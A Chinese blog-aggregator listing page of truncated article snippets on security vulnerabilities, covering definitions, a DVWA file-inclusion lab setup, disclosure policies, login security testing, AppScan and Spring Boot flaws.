    万次阅读 2020-02-04 01:36:59
    漏洞,也叫脆弱性(英语:Vulnerability),是指计算机系统安全方面的缺陷,使得系统或其应用数据的保密性、完整性、可用性、访问控制等面临威胁。 漏洞在各时间阶段的名称 根据是否公开分为:未公开漏洞、已公开...
  • 第一个记录的安全漏洞是常见的文件包含漏洞,原理很枯燥,通过实验学习效果更好。 时间环境: DVWA 环境(通过安装owasp实现) win7虚拟机(为了安全,尽量在虚拟机上完成) 一台web服务器(推荐阿里云的轻量级应用...
  • 1.6.2 安全漏洞披露方式  针对漏洞的公开披露策略与道德准则,在安全社区中曾爆发无数次的辩论,归纳起来,主要有如下四种主要的安全漏洞披露方式。 (1) 完全公开披露  发现漏洞后直接向公众完全公开安全漏洞...
  • 安全测试学习(一)常见安全漏洞

    千次阅读 2019-02-11 21:21:16
    常见的安全测试类型 登录失败提示信息 需要模糊提示,如“用户名或密码错误”,不能精确提示 登录失败次数限制或验证码刷新 登录失败后需要自动刷新验证码;达到一定失败次数后需要限制登录 登入登出前后,...
  • APPScan安全漏洞扫描

    千次阅读 2018-04-16 20:07:02
    IBM AppScan是一款非常好用且功能强大的Web 应用安全测试工具,曾以 Watchfire AppScan 的名称享誉业界,Rational AppScan 可自动化 Web 应用的安全漏洞评估工作,能扫描和检测所有常见的 Web 应用安全漏洞,例如 ...
  • Spring boot中的缺陷和安全漏洞浅析

    千次阅读 2019-05-18 09:55:29
    Spring Boot是由Pivotal团队提供的全新的开源框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。通过这种方式,Spring ...

空空如也

1 2 3 4 5 ... 20
收藏数 349,837
精华内容 139,934
关键字:

安全漏洞